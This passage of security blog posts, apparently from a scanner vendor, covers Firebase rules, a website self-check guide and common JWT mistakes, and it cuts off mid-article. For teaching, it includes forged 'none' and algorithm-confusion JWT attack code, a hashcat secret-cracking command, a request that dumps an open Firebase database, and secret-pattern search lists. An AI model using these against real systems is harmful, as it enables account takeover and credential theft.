  // 2. Authorize: your rules are not running here, so check ownership yourself.
  if (decoded.uid !== targetUserId) {
    throw new Error('forbidden');
  }

  // 3. Validate: the same allowlist your .validate / hasOnly() rules enforce.
  const safe = Object.fromEntries(
    Object.entries(patch).filter(([key]) => WRITABLE_FIELDS.includes(key)),
  );

  await getFirestore().collection('users').doc(targetUserId).update(safe);
}
```

A common failure is a Cloud Function that takes a `userId` from the request body and writes to it with admin privileges. Any caller can pass any uid. The rules that would have blocked this from a client are simply not in the code path.

**You can opt back into rules on the Realtime Database.** The Admin SDK supports `databaseAuthVariableOverride`, which pins the `auth` variable your rules see instead of granting full admin access:

```javascript
import { initializeApp, cert } from 'firebase-admin/app';

initializeApp({
  credential: cert(serviceAccount),
  databaseURL: 'https://your-project-default-rtdb.firebaseio.com',
  // Rules now evaluate with auth.uid === 'worker-service'.
  // Set this to null to run as an unauthenticated client instead.
  databaseAuthVariableOverride: { uid: 'worker-service' },
});
```

This is a Realtime Database feature only. Firestore and Storage server libraries have no equivalent — for those, downscoping means using a client SDK with a real user token, or writing the checks in your own code.

## Real-World Impact

Misconfigured Firebase security rules are not a theoretical problem. Here is what happens when rules are wrong:

**Data leaks at scale.** Security researchers regularly scan the internet for open Firebase databases. In 2024, a study found over 125 million records exposed across thousands of apps, including email addresses, passwords stored in plaintext, GPS coordinates, and financial data. An attacker does not need sophisticated tools — a simple REST request to `https://your-project.firebaseio.com/.json` returns everything if the Realtime Database rules allow it.

**Account takeover.** If users can write to each other's documents, an attacker can change another user's email address in the database, trigger a password reset, and take over the account.

**Data corruption.** Without field validation, a malicious user can write garbage data that breaks your app for everyone. Imagine a shared leaderboard where someone writes `score: 999999999` or `score: "not a number"`.

**The vibe-coded app problem.** A 2025 study by Wiz found that apps built with AI coding tools are particularly vulnerable to Firebase misconfigurations. AI assistants often generate the "quick start" rules (`allow read, write: if true`) and developers ship them without thinking twice. If you are building with Cursor, Bolt, Lovable, or similar tools, your [vibe-coded app likely has security gaps](/blog/how-to-secure-vibe-coded-app) that need manual review.

## How to Audit Your Firebase Rules

### Manual Review

Open your `firestore.rules`, `database.rules.json`, and `storage.rules` files. Search for these red flags:

- `if true` — wide open access
- `if request.auth != null` without ownership checks — any user can access any data
- `{document=**}` with permissive rules — wildcard matches everything
- Missing subcollection rules — child documents with no rules
- No field validation on `create` or `update` — clients can write anything
- `.read: true` or `.write: true` in Realtime Database parent nodes — cascading access

### Firebase Rules Playground

Use the Rules Playground in the Firebase Console to simulate requests as different users. Test every collection with:
- An unauthenticated request
- A request from a user who does not own the document
- A request with invalid or extra fields

### Automated Scanning

Manual review only catches what you think to look for. Automated scanners can detect open Firebase databases, misconfigured storage buckets, and missing authentication from the outside — the same way an attacker would find them.

Check your rules into version control and review them in pull requests, just like application code. Any change to security rules should be reviewed by at least one other developer.

## How CheckVibe Helps

CheckVibe's [Firebase scanner](/products/scanner) automatically detects common Firebase security misconfigurations from the outside. It checks for:

- **Open Firestore and Realtime Database rules** — detects databases that respond to unauthenticated reads
- **Missing authentication requirements** — identifies endpoints that return data without auth
- **Exposed storage buckets** — finds Firebase Storage buckets with permissive rules
- **Firebase project config exposure** — checks if your `firebaseConfig` object leaks information an attacker could use

The scanner runs the same checks an attacker would perform — probing your Firebase endpoints to see what responds. You get a report showing exactly which rules need to be fixed, with severity ratings and fix guidance.

[Run a free scan on your Firebase app](https://checkvibe.dev) to see what is exposed.

## FAQ

### Are Firebase security rules enough to secure my app?

Firebase security rules are your primary defense for client-side data access, but they are not the only layer you need. You should still validate data on the server side (using Cloud Functions or a backend API) for sensitive operations like payments, role assignments, and account deletion. Security rules protect against direct database access, but your Cloud Functions also need proper authentication and input validation. For a more complete security posture, follow the [OWASP Top 10 checklist](/blog/owasp-top-10-checklist).

### What is the difference between Firestore and Realtime Database rules?

Firestore rules use a `match/allow` syntax and do not cascade — rules on a parent collection do not apply to subcollections. Realtime Database rules use a JSON structure and do cascade — a `.read: true` on a parent node grants access to all children. Firestore rules are generally considered more secure by default because of this non-cascading behavior. If you are starting a new project, use Firestore.

### Can someone access my Firebase data if they have my project config?

Your Firebase project config (`apiKey`, `authDomain`, `projectId`, etc.) is designed to be public. It is embedded in your client-side JavaScript and anyone can find it. The config alone does not grant data access — your security rules determine what is accessible. However, if your rules are permissive, anyone with the project config (which is everyone) can read your entire database. This is why rules are so critical: the config is always public, so the rules are the only barrier.

### How do I test Firebase security rules?

Use the Firebase Emulator Suite to write automated tests for your rules. Install it with `firebase init emulators`, then write tests using `@firebase/rules-unit-testing`. Test every access pattern: unauthenticated reads, cross-user reads, invalid field writes, and admin operations. Run these tests in CI so rule changes are validated before deploy. You can also use the Rules Playground in the Firebase Console for quick manual testing of individual requests.

### How do I write Firebase database rules in JSON?

Realtime Database rules go in a file called `database.rules.json`, structured as one top-level `rules` object whose nesting mirrors your data tree. At any path you can attach `.read`, `.write`, `.validate`, and `.indexOn`. Wildcard keys beginning with `$`, such as `$uid`, capture the child key so you can compare it to `auth.uid`. Inside expressions you have `auth`, `data`, `newData`, `root`, and `now`. Everything is denied until a `.read` or `.write` at or above the path allows it.

### How do I deploy only Firebase security rules?

Run `firebase deploy --only firestore:rules` for Firestore, `firebase deploy --only database` for the Realtime Database, and `firebase deploy --only storage` for Storage, or combine them with commas. Each target reads the file path declared in `firebase.json`. Test with `firebase emulators:start` first, because a deploy replaces the live ruleset wholesale rather than merging changes, so the file in your repo must always be the complete current ruleset.

### Can Firebase security rules be bypassed?

Yes, by anything holding admin credentials. Firebase documents that the Admin SDK and server client libraries bypass security rules entirely and authenticate through a service account instead. Rules only constrain the client SDKs and REST requests carrying an end-user ID token. A leaked service account key therefore grants full read and write access no matter how strict your rules are, and every server route must run its own authorization checks in code.

## Firebase Security Rules Checklist

Use this checklist before every deploy:

- [ ] No `allow read, write: if true` rules anywhere
- [ ] Every `read` and `write` rule checks `request.auth.uid` against the document owner
- [ ] `write` rules are split into `create`, `update`, and `delete` with different permissions
- [ ] Field-level validation on `create` and `update` using `hasOnly()` and type checks
- [ ] No wildcard `{document=**}` matches with permissive rules
- [ ] Admin collections require custom claims (`request.auth.token.admin == true`)
- [ ] Storage rules validate file size, content type, and ownership
- [ ] Realtime Database rules do not have `.read: true` or `.write: true` on parent nodes
- [ ] Realtime Database nodes reject unknown keys with a `"$other": { ".validate": false }` catch-all
- [ ] Service account keys are never committed, bundled into client code, or exposed through `NEXT_PUBLIC_`-style env vars
- [ ] All rules are tested with the Firebase Emulator Suite before deploy
- [ ] Rules are checked into version control and reviewed in pull requests

Firebase security rules are the most important 50 lines of code in your project. Get them wrong and nothing else matters — your database is public. Get them right and you have a solid foundation for securing your [API endpoints](/blog/api-security-checklist) and the rest of your application.

---

**Want to know if your Firebase app is exposed right now?** [Run a free CheckVibe scan](https://checkvibe.dev) and get a security report in under 60 seconds. No signup required.


---

## How to Check If Your Website Is Secure (5-Minute Guide)

*7 things to test on your website right now — SSL, security headers, exposed secrets and known vulnerabilities. No security expertise needed.*

Published: 2026-03-22 | Reading time: 16 min read
URL: https://checkvibe.dev/blog/how-to-check-if-website-is-secure


Every 39 seconds, a hacker attacks a website. That statistic comes from a University of Maryland study, and it has only gotten worse since then. Automated bots scan the internet 24/7, probing for misconfigured servers, exposed API keys, and missing security headers. They do not care if your site gets 10 visitors or 10 million.

Most developers never check if their website is secure until something goes wrong. A customer reports their account was compromised. Google flags your domain as unsafe. You find your Stripe secret key indexed on GitHub. By then, the damage is done.

The good news: a basic website security check takes about five minutes. You do not need a security background. You do not need expensive tools. You just need to know what to look for.

Here are seven checks you can run right now to find out if your website is secure.

## 1. Check Your SSL Certificate

SSL (technically TLS) encrypts the connection between your users and your server. Without it, everything -- passwords, credit card numbers, personal data -- travels in plain text that anyone on the network can read.

**How to check:**

Open your website in Chrome and click the padlock icon (or the tune icon) in the address bar. Click "Connection is secure" and then "Certificate is valid." You will see:

- **Issued to:** Your domain name
- **Issued by:** The certificate authority (Let's Encrypt, Cloudflare, etc.)
- **Expires on:** The expiration date

If your certificate expires within 30 days, renew it now. An expired certificate will show users a full-page browser warning, and most will leave immediately.

**Check for mixed content:**

Even with a valid certificate, your site might load some resources (images, scripts, fonts) over plain HTTP. This is called mixed content, and it weakens your encryption.

Open DevTools (F12), go to the Console tab, and look for warnings like:

```
Mixed Content: The page at 'https://yoursite.com' was loaded over HTTPS,
but requested an insecure resource 'http://cdn.example.com/image.jpg'.
```

Fix these by updating the URLs to use `https://` or protocol-relative `//` prefixes.

**What a failing check means:** Without valid SSL, your site is vulnerable to man-in-the-middle attacks. Attackers can intercept and modify data in transit. Google also penalizes non-HTTPS sites in search rankings.

## 2. Test Your Security Headers

Security headers are HTTP response headers that instruct browsers how to handle your content. They are one of the most effective defenses against common attacks, and most websites are missing several of them.

**How to check:**

Open DevTools (F12), go to the Network tab, reload the page, and click on the first request (your HTML document). Scroll down to the Response Headers section. Look for these headers:

- **Strict-Transport-Security (HSTS)** -- Forces HTTPS connections. Should include `max-age=31536000; includeSubDomains`.
- **Content-Security-Policy (CSP)** -- Controls which scripts, styles, and resources can load. Without it, cross-site scripting attacks become trivially easy.
- **X-Frame-Options** -- Prevents your site from being embedded in iframes on malicious domains (clickjacking). Should be `DENY` or `SAMEORIGIN`.
- **X-Content-Type-Options** -- Should be `nosniff`. Prevents browsers from guessing content types, which can turn a harmless file into an executable script.
- **Referrer-Policy** -- Controls how much URL information leaks to third-party sites. `strict-origin-when-cross-origin` is a good default.
- **Permissions-Policy** -- Restricts access to browser APIs like camera, microphone, and geolocation.

You can also test from the terminal:

```bash
curl -I https://yoursite.com
```

This prints all response headers. Missing headers will simply not appear in the output.

**What a failing check means:** Missing security headers leave you open to clickjacking, XSS, MIME sniffing, and protocol downgrade attacks. The good news is they are easy to add. Most frameworks let you set them in a single configuration file. For a deep dive, read our [complete security headers guide](/blog/security-headers-complete-guide).

## 3. Search for Exposed Secrets in Your Source Code

This is the check that surprises most developers. API keys, database credentials, and secret tokens end up in client-side code more often than you would think -- especially in apps built with AI coding assistants that sometimes hardcode values during prototyping.

**How to check:**

Open your site in a browser and view the page source (Ctrl+U or Cmd+Option+U). Press Ctrl+F and search for:

- `sk_live` (Stripe secret keys)
- `AKIA` (AWS access keys)
- `eyJ` (JWT tokens, which are base64-encoded and start with this prefix)
- `apikey` or `api_key`
- `secret`
- `password`
- `token`
- `supabase` combined with `service_role`

Then check your JavaScript bundles. In DevTools, go to Sources, find your JS files, and search the same terms. Bundlers sometimes inline environment variables if you are not careful with your `.env` configuration.

**Check your git history too:**

Even if you removed a secret from your code, it might still be in your git history.

```bash
git log --all --full-history -S "sk_live" -- .
```

This searches your entire git history for any commit that added or removed a string containing `sk_live`. Replace it with whatever secret pattern you are looking for.

**What a failing check means:** Exposed API keys are a critical severity issue. Attackers actively scan public websites and GitHub repositories for credentials. A leaked Stripe secret key gives full access to your payment system. A leaked Supabase service role key bypasses all row-level security. Rotate any exposed key immediately and remove it from your code. For more detail, see our [API key leak detection guide](/blog/api-key-leak-detection).

## 4. Test Your CORS Configuration

Cross-Origin Resource Sharing (CORS) controls which external domains can make requests to your API. A misconfigured CORS policy can allow any website to make authenticated requests on behalf of your users.

**How to check:**

Run this curl command, replacing the URLs with your own:

```bash
curl -I -X OPTIONS \
  -H "Origin: https://evil-site.com" \
  -H "Access-Control-Request-Method: GET" \
  https://yoursite.com/api/some-endpoint
```

Look at the response headers:

```
Access-Control-Allow-Origin: *
```

If you see `*` (wildcard) and your API uses cookies or authentication, you have a problem. This means any website can make requests to your API.

**What a bad configuration looks like:**

```
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
```

This combination is especially dangerous. It tells browsers that any origin can make credentialed requests to your API. An attacker's website could steal your users' data by making requests with their session cookies.

**What a good configuration looks like:**

```
Access-Control-Allow-Origin: https://yoursite.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Credentials: true
```

The origin should be your specific domain, not a wildcard. If you need to support multiple domains, validate the `Origin` header against an allowlist on the server side.

For a comprehensive walkthrough, read our [CORS misconfiguration guide](/blog/cors-misconfiguration-guide).

## 5. Check for Known Vulnerabilities in Your Dependencies

Your application probably depends on hundreds of open-source packages. Each one is a potential attack surface. Known vulnerabilities in popular packages are published in public databases, and attackers actively exploit them.

**How to check:**

If you are using Node.js:

```bash
npm audit
```

This scans your `package-lock.json` against the npm advisory database and lists every known vulnerability, grouped by severity (critical, high, moderate, low).

For automatic fixes:

```bash
npm audit fix
```

For a more thorough scan that includes transitive dependencies:

```bash
npx audit-ci --critical
```

If you are using Python:

```bash
pip audit
```

If you are using Ruby:

```bash
bundle audit check --update
```

**What a failing check means:** Known vulnerabilities in dependencies are among the most exploited attack vectors. The severity depends on the specific vulnerability. A critical vulnerability in a package that handles user input (like a request parser or template engine) could allow remote code execution. Even moderate vulnerabilities should be patched promptly because attackers combine multiple lower-severity issues to escalate access.

## 6. Test Your Authentication Flows

Authentication is where most web applications are most vulnerable. A weakness here gives attackers direct access to user accounts.

**Things to test manually:**

**Session fixation:** Log in, copy your session cookie value, log out, and log back in. If the session cookie value is the same, your application is not regenerating sessions on login. An attacker who can set a session cookie before the user logs in would then have access to their authenticated session.

**Password reset flow:** Request a password reset. Check:
- Does the reset link expire? (It should, within 15-60 minutes.)
- Can you use it more than once? (You should not be able to.)
- Does it contain the user's email or ID in the URL? (It should not -- use a random token.)

**Brute force protection:** Try logging in with the wrong password 10 times in a row. Does anything happen? You should see rate limiting (HTTP 429) after 5-10 failed attempts. Without it, attackers can try thousands of passwords per minute.

**Account enumeration:** Try logging in with a nonexistent email. If the error says "No account with that email" but says "Incorrect password" for a real email, an attacker can enumerate which email addresses have accounts on your platform. Both cases should return a generic "Invalid email or password" message.

**What a failing check means:** Authentication vulnerabilities range from high to critical severity. Weak session management can lead to account takeover. Missing rate limiting enables brute-force attacks. These issues require code changes to fix but are well worth the effort.

## 7. Run an Automated Security Scan

The six checks above cover the most common issues, but they are manual and limited in scope. A website security check tool can test for dozens of additional vulnerability categories in seconds, including things that are impractical to test by hand.

An automated website vulnerability check typically covers:

- SQL injection across all discoverable endpoints
- Cross-site scripting (reflected and stored)
- Insecure cookie configuration (missing Secure, HttpOnly, SameSite flags)
- Open redirect vulnerabilities
- Information disclosure (server version headers, debug endpoints, stack traces)
- DNS configuration issues (SPF, DKIM, DMARC for email security)
- Subdomain takeover risks
- GraphQL introspection exposure
- JWT implementation weaknesses

Running all of these manually would take hours. An automated scanner does it in under a minute.

[CheckVibe](https://checkvibe.dev) runs 100+ security checks against your website in about 30 seconds. Paste your URL, hit scan, and get a prioritized report with specific issues and severity ratings. No signup required for your first scan.

## What Each Check Reveals: Understanding Severity Levels

Not all security issues are equally urgent. When you run a website security check, the results are typically grouped by severity. Here is what each level means and how to prioritize.

### Critical Severity

These need immediate attention. An attacker can exploit them right now to cause serious damage.

- **Exposed API keys or secrets** -- Leaked credentials in client-side code or public repositories
- **SQL injection** -- Direct database access through unvalidated input
- **Remote code execution** -- Vulnerabilities that let attackers run arbitrary code on your server
- **Authentication bypass** -- Ways to access accounts without valid credentials

**Action:** Stop what you are doing and fix these now. Rotate any exposed credentials immediately.

### High Severity

These are serious but may require more specific conditions to exploit.

- **Missing Content-Security-Policy** -- Opens the door to cross-site scripting
- **Cross-site scripting (XSS)** -- Script injection through reflected or stored input
- **Insecure CORS configuration** -- Unauthorized cross-origin access to your API
- **Missing HSTS** -- Users can be downgraded from HTTPS to HTTP

**Action:** Fix within 24-48 hours. These are actively exploitable under the right conditions.

### Medium Severity

These represent weaker security posture but are harder to exploit directly.

- **Insecure cookie flags** -- Missing Secure, HttpOnly, or SameSite attributes
- **Information disclosure** -- Server version headers, verbose error messages
- **Missing X-Frame-Options** -- Clickjacking potential
- **Weak referrer policy** -- URL information leaking to third parties

**Action:** Fix within a week. These are typically quick configuration changes.

### Low Severity

These are best-practice improvements rather than immediate threats.

- **Missing Permissions-Policy header** -- Browser API access not restricted
- **Suboptimal TLS configuration** -- Supporting older protocol versions that are not yet broken
- **Missing DNS security records** -- SPF, DKIM, DMARC not fully configured

**Action:** Add to your backlog and address in your next maintenance cycle.

## What to Do If You Find Issues

Finding vulnerabilities in your own website can feel overwhelming. Here is the practical approach.

**Do not panic.** Most websites have security issues. The fact that you are checking puts you ahead of the majority of developers.

**Prioritize by severity.** Fix critical issues first, then high, then medium. Do not let the volume of findings paralyze you. Even fixing one critical issue dramatically reduces your risk.

**Use remediation checklists.** Turn each finding into a small, concrete code or configuration task. For example:

```
My site is missing the Content-Security-Policy header.
I'm using Next.js 16. Add a CSP header in next.config.ts
that allows scripts from 'self' and blocks inline scripts.
```

Most security issues have straightforward fixes. Missing headers are a configuration change. Exposed secrets require rotation and moving to environment variables. Dependency vulnerabilities are usually fixed by updating the package.

**Verify your fixes.** After making changes, run the scan again to confirm the issues are resolved. Security is not a one-time task -- it is a continuous process.

## The Free Security Scan Option

You can work through all seven checks manually. It will take longer than five minutes, and you will miss things that only automated tools can catch. Or you can get a comprehensive website security check in about 30 seconds.

[CheckVibe](https://checkvibe.dev) scans your website against 100+ security checks covering everything in this guide and more:

- **36 security scanners** covering SSL, headers, XSS, SQLi, CORS, CSRF, cookies, authentication, API keys, DNS, dependencies, and platform-specific issues
- **Site crawling** discovers pages and endpoints automatically -- it does not just test your homepage
- **remediation guidance** gives you concrete code and configuration steps
- **Severity-prioritized results** so you know exactly what to fix first
- **PDF export** for compliance documentation or sharing with your team
- **No security expertise required** -- findings are written in plain language with specific remediation steps

Paste your URL, hit scan, and see your results. Your [first scan is free](/blog/free-website-security-scan) with no signup required.

## How Often Should You Check?

A single scan is a snapshot. Your website's security posture changes every time you deploy code, update a dependency, or change a configuration.

**After every deploy** is ideal. New code means new potential vulnerabilities. If you added a new API endpoint, changed your authentication logic, or updated your dependencies, scan again.

**Weekly at minimum.** Even if your code hasn't changed, the threat landscape has. New vulnerabilities are disclosed in popular packages every day. A dependency that was safe last week might have a critical CVE today.

**After any dependency update.** Running `npm update` or `pip install --upgrade` can introduce packages with known vulnerabilities, especially if you are updating major versions.

**Use monitoring for continuous checking.** Instead of remembering to scan manually, set up scheduled scans. CheckVibe supports daily, weekly, and monthly automated scans with alert rules. You can get notified when your security score drops, when a new critical issue appears, or when your score falls below a threshold you set.

Continuous monitoring is especially important if you are a solo developer or a small team. You cannot manually audit your site every day, but an automated scanner can.

## FAQ

### Is my website secure if it has HTTPS?

No. HTTPS (SSL/TLS) is necessary but not sufficient. It encrypts data in transit, which prevents eavesdropping, but it does not protect against:

- Cross-site scripting (XSS)
- SQL injection
- Exposed API keys in your client-side code
- Missing security headers
- Insecure authentication
- Vulnerable dependencies

HTTPS is the foundation. The six other checks in this guide cover what HTTPS does not.

### Can hackers really find my API keys?

Yes, and they do it constantly. Automated bots scrape websites and public GitHub repositories for credential patterns. Services like Trufflehog and GitLeaks exist specifically for this purpose, and attackers use similar tools.

AWS reports that exposed access keys are typically exploited within minutes of being pushed to a public repository. Stripe actively scans for leaked keys and will notify you, but by the time they do, an attacker may have already used them.

If you are building with AI coding tools like Cursor or Copilot, be extra careful. These tools sometimes hardcode API keys during prototyping, and those values can make it into production if you are not reviewing the generated code carefully.

### Do I need a security scanner if I use a framework like Next.js?

Yes. Frameworks handle some security concerns (like CSRF protection in form submissions), but they do not cover everything:

- Next.js does not set security headers by default. You have to configure them in `next.config.ts`.
- Framework middleware can be bypassed if routes are misconfigured.
- Your application logic (authentication, authorization, input validation) is your responsibility regardless of framework.
- Third-party packages you install can introduce vulnerabilities the framework cannot prevent.
- Platform-specific issues (Supabase RLS, Vercel configuration, environment variable exposure) are outside the framework's scope.

A framework gives you a safer starting point, not a guarantee of security.

### What is the most common website vulnerability?

According to the OWASP Top 10, the most common categories are:

1. **Broken Access Control** -- Users accessing data or functions they should not have access to
2. **Cryptographic Failures** -- Weak encryption, exposed secrets, missing HTTPS
3. **Injection** -- SQL injection, XSS, and command injection

In practice, the most common issues we see on scanned websites are missing security headers (especially CSP and HSTS), exposed API keys in client-side JavaScript, and outdated dependencies with known vulnerabilities. These are also the easiest to fix.

### How much does a security breach cost?

The IBM Cost of a Data Breach Report puts the global average at $4.88 million. For small businesses, the average is lower but still devastating -- between $120,000 and $1.24 million, which is enough to shut down many startups.

But the cost is not just financial. There is also:

- **Reputation damage** -- Users lose trust and leave
- **Regulatory fines** -- GDPR violations can cost up to 4% of annual revenue
- **Development time** -- Incident response and remediation pull your team away from building
- **Legal liability** -- Users whose data is exposed may pursue legal action

The cost of prevention is a fraction of the cost of a breach. Running a security scan takes 30 seconds. Recovering from a breach takes months.

## Skip the Manual Checks

You now know the seven things to check and why they matter. You can work through them one by one, or you can get all the answers in 30 seconds.

[Run a free security scan on CheckVibe](https://checkvibe.dev) -- paste your URL, get a full security report with severity-prioritized findings and fix prompts for your code editor. No signup required for your first scan.

Your website is either secure or it is not. The only way to know is to check.


---

## JWT Security: 7 Common Mistakes That Let Attackers In

*The 7 most dangerous JWT mistakes: algorithm confusion, weak secrets, missing expiration and more — each with the code that fixes it.*

Published: 2026-03-22 | Reading time: 15 min read
URL: https://checkvibe.dev/blog/jwt-security-common-mistakes


JWTs are everywhere — and so are the vulnerabilities. An estimated 82% of web applications use JSON Web Tokens for authentication, from single-page apps to microservice architectures. They're elegant, stateless, and easy to implement.

They're also easy to implement *wrong*.

A single JWT misconfiguration can give an attacker full access to every account in your system. No SQL injection required. No XSS needed. Just a malformed token and a server that trusts it.

This guide covers the 7 most dangerous JWT security vulnerabilities we see in real-world applications, with vulnerable code and fixed code for each one. If you're shipping JWTs in production, you need to check every item on this list.

## How JWTs Work (Quick Refresher)

A JSON Web Token has three parts, separated by dots:

```
header.payload.signature
```

- **Header** — declares the token type and signing algorithm (e.g., `HS256`, `RS256`)
- **Payload** — contains claims like user ID, role, and expiration time
- **Signature** — cryptographic proof that the token hasn't been tampered with

The server creates a JWT by signing the header and payload with a secret key. When the token comes back in a request, the server verifies the signature before trusting the claims inside.

```typescript
// Creating a JWT
import jwt from 'jsonwebtoken';

const token = jwt.sign(
  { userId: '123', role: 'user' },
  process.env.JWT_SECRET,
  { algorithm: 'HS256', expiresIn: '1h' }
);

// Token looks like: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiIxMjMifQ.SflKxwRJ...
```

The key property of JWTs is that they're **stateless**. The server doesn't need to check a database to validate the token — the signature alone proves authenticity. This is what makes them fast and scalable.

It's also what makes them dangerous when implemented incorrectly. There is no server-side session to revoke. If a token is valid, it's valid — period. That makes every mistake in this list significantly more impactful than it would be with traditional session-based authentication.

## Mistake #1: Using decode() Instead of verify()

This is the number one JWT security mistake beginners make, and we see it in production applications regularly.

The `jsonwebtoken` library exposes two functions: `jwt.decode()` and `jwt.verify()`. They look similar, but one is secure and the other is catastrophically not.

### The Vulnerable Code

```typescript
// VULNERABLE: decode() does NOT verify the signature
import jwt from 'jsonwebtoken';

export async function GET(req: NextRequest) {
  const token = req.headers.get('authorization')?.replace('Bearer ', '');
  const payload = jwt.decode(token);

  // Attacker can forge any payload — this trusts it blindly
  const user = await db.users.findById(payload.userId);
  return NextResponse.json(user);
}
```

`jwt.decode()` is a base64 decoder. That's it. It parses the payload and returns whatever is inside. It does not check the signature. An attacker can craft a token with any claims they want — `{ userId: 'admin', role: 'superadmin' }` — and your server will trust it.

### The Fix

```typescript
// SECURE: verify() checks the signature before returning claims
import jwt from 'jsonwebtoken';

export async function GET(req: NextRequest) {
  const token = req.headers.get('authorization')?.replace('Bearer ', '');

  try {
    const payload = jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ['HS256'], // Whitelist allowed algorithms
    });

    const user = await db.users.findById(payload.userId);
    return NextResponse.json(user);
  } catch (err) {
    return NextResponse.json({ error: 'Invalid token' }, { status: 401 });
  }
}
```

Always use `jwt.verify()`. The only legitimate use for `jwt.decode()` is when you need to inspect a token's claims *before* verification — for example, to determine which key to use in a multi-tenant system. Even then, never trust the decoded values for authorization.

## Mistake #2: Accepting the "none" Algorithm

The JWT specification includes an `alg: "none"` option, which means "this token is unsigned." It was intended for cases where the token has already been verified through some other mechanism. In practice, it's an attacker's dream.

### The Attack

An attacker takes a valid token, modifies the header to set `alg: "none"`, changes the payload to whatever they want, removes the signature, and sends it to your server.

```typescript
// What the attacker sends:
// Header: { "alg": "none", "typ": "JWT" }
// Payload: { "userId": "admin", "role": "superadmin" }
// Signature: (empty)

// Encoded: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VySWQiOiJhZG1pbiIsInJvbGUiOiJzdXBlcmFkbWluIn0.
```

If your server doesn't explicitly reject `alg: "none"`, this unsigned token will be accepted as valid. The attacker now has admin access.

### The Vulnerable Code

```typescript
// VULNERABLE: No algorithm restriction
const payload = jwt.verify(token, process.env.JWT_SECRET);
// Some libraries accept "none" by default
```

### The Fix

```typescript
// SECURE: Explicitly whitelist allowed algorithms
const payload = jwt.verify(token, process.env.JWT_SECRET, {
  algorithms: ['HS256'], // ONLY accept HS256 — reject everything else
});
```

The `algorithms` option is your first line of defense. Always specify exactly which algorithms your server accepts. Modern versions of the `jsonwebtoken` npm package reject `none` by default, but older versions and other libraries may not. Don't rely on defaults — be explicit.

## Mistake #3: Algorithm Confusion (RS256 to HS256)

This is the most sophisticated JWT vulnerability on this list, and it has affected major platforms including Auth0 and Microsoft Azure. It exploits a fundamental misunderstanding in how asymmetric vs. symmetric signing works.

### How It Works

When your server uses RS256 (asymmetric), it signs tokens with a **private key** and verifies them with a **public key**. The public key is often available in a JWKS endpoint or embedded in the application.

The attack: the attacker takes your public key, creates a new token, signs it with that public key using HS256 (symmetric), and sets `alg: "HS256"` in the header.

If your server sees `alg: "HS256"` and uses its configured "key" (the public key) as the HMAC secret, the signature will verify. The attacker has forged a valid token using only your public key.

```typescript
// ATTACK SCENARIO

// 1. Attacker obtains the public key (it's public, after all)
const publicKey = await fetch('https://yourapp.com/.well-known/jwks.json')
  .then(res => res.json());

// 2. Attacker signs a forged token using the public key as an HMAC secret
const forgedToken = jwt.sign(
  { userId: 'admin', role: 'superadmin' },
  publicKey,  // Public key used as HMAC secret
  { algorithm: 'HS256' }
);

// 3. Server sees alg: "HS256", uses its "key" (the public key) to verify
//    Signature matches. Attacker is now admin.
```

### The Vulnerable Code

```typescript
// VULNERABLE: Algorithm determined by the token header
const payload = jwt.verify(token, publicKey);
// If token says HS256, server uses publicKey as HMAC secret — forged token passes
```

### The Fix

```typescript
// SECURE: Enforce the expected algorithm
const payload = jwt.verify(token, publicKey, {
  algorithms: ['RS256'], // ONLY accept RS256 — reject HS256 entirely
});
```

The fix is the same `algorithms` whitelist from Mistake #2. By explicitly specifying `['RS256']`, the server will reject any token claiming to use `HS256`, regardless of whether the signature happens to verify. Never let the token's own header dictate which algorithm your server uses.

## Mistake #4: Weak or Default Secrets

You'd be surprised how many production applications sign JWTs with `"secret"`, `"password123"`, or the example string from a tutorial. These are crackable in seconds.

### The Attack

JWT secrets can be brute-forced offline. An attacker with a single valid token can try billions of potential secrets without touching your server.

```bash
# hashcat cracks weak JWT secrets in seconds
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

# Common weak secrets that get cracked instantly:
# "secret", "password", "123456", "your-256-bit-secret"
# "jwt_secret", "mysecretkey", "change-me"
```

Tools like `jwt-cracker` and `hashcat` with JWT mode can test millions of candidate secrets per second. If your secret is under 32 characters or based on a dictionary word, it will be found.

### The Vulnerable Code

```typescript
// VULNERABLE: Weak secret from a tutorial
const token = jwt.sign(payload, 'your-256-bit-secret', { algorithm: 'HS256' });

// VULNERABLE: Short, guessable secret
const token = jwt.sign(payload, 'mysecret', { algorithm: 'HS256' });
```

### The Fix

```typescript
// SECURE: Generate a cryptographically random secret
// Run once: node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"
// Store in environment variable, never in code

const token = jwt.sign(payload, process.env.JWT_SECRET, {
  algorithm: 'HS256',
  expiresIn: '1h',
});

// JWT_SECRET should be at least 256 bits (64 hex characters) of random data
// Example: JWT_SECRET=a3f2b8c9d4e5...64 random hex chars
```

For HMAC algorithms (HS256, HS384, HS512), your secret must be at least as long as the hash output: 32 bytes for HS256, 48 for HS384, 64 for HS512. Use `crypto.randomBytes()` to generate it. Better yet, use asymmetric algorithms (RS256 or ES256) where there is no shared secret to crack.

## Mistake #5: Missing Expiration (No exp Claim)

A JWT without an expiration date is a permanent access key. If it's ever stolen — through an XSS attack, a compromised log file, a leaked database backup, or a careless screenshot — the attacker has permanent access to that account.

### The Vulnerable Code

```typescript
// VULNERABLE: Token never expires
const token = jwt.sign({ userId: '123', role: 'admin' }, secret);
// This token is valid forever. If stolen, it grants permanent access.
```

### The Fix

```typescript
// SECURE: Short-lived access token + refresh token pattern
const accessToken = jwt.sign(
  { userId: '123', role: 'admin' },
  secret,
  {
    algorithm: 'HS256',
    expiresIn: '15m',  // Short-lived: 15 minutes
  }
);

const refreshToken = jwt.sign(
  { userId: '123', tokenType: 'refresh' },
  secret,
  {
    algorithm: 'HS256',
    expiresIn: '7d',   // Longer-lived, stored securely
  }
);

// On verification, expiration is checked automatically
try {
  const payload = jwt.verify(token, secret, { algorithms: ['HS256'] });
} catch (err) {
  if (err.name === 'TokenExpiredError') {
    // Token expired — client should use refresh token to get a new one
    return NextResponse.json({ error: 'Token expired' }, { status: 401 });
  }
}
```

Set access tokens to expire in 15 minutes or less. Use refresh tokens (stored in httpOnly cookies) for longer sessions. This limits the damage window if a token is stolen. An attacker with a 15-minute token has 15 minutes. An attacker with a forever-token has forever.

Also validate the `iat` (issued at) and `nbf` (not before) claims. Tokens issued before a known compromise date should be rejected.

## Mistake #6: Storing Sensitive Data in the Payload

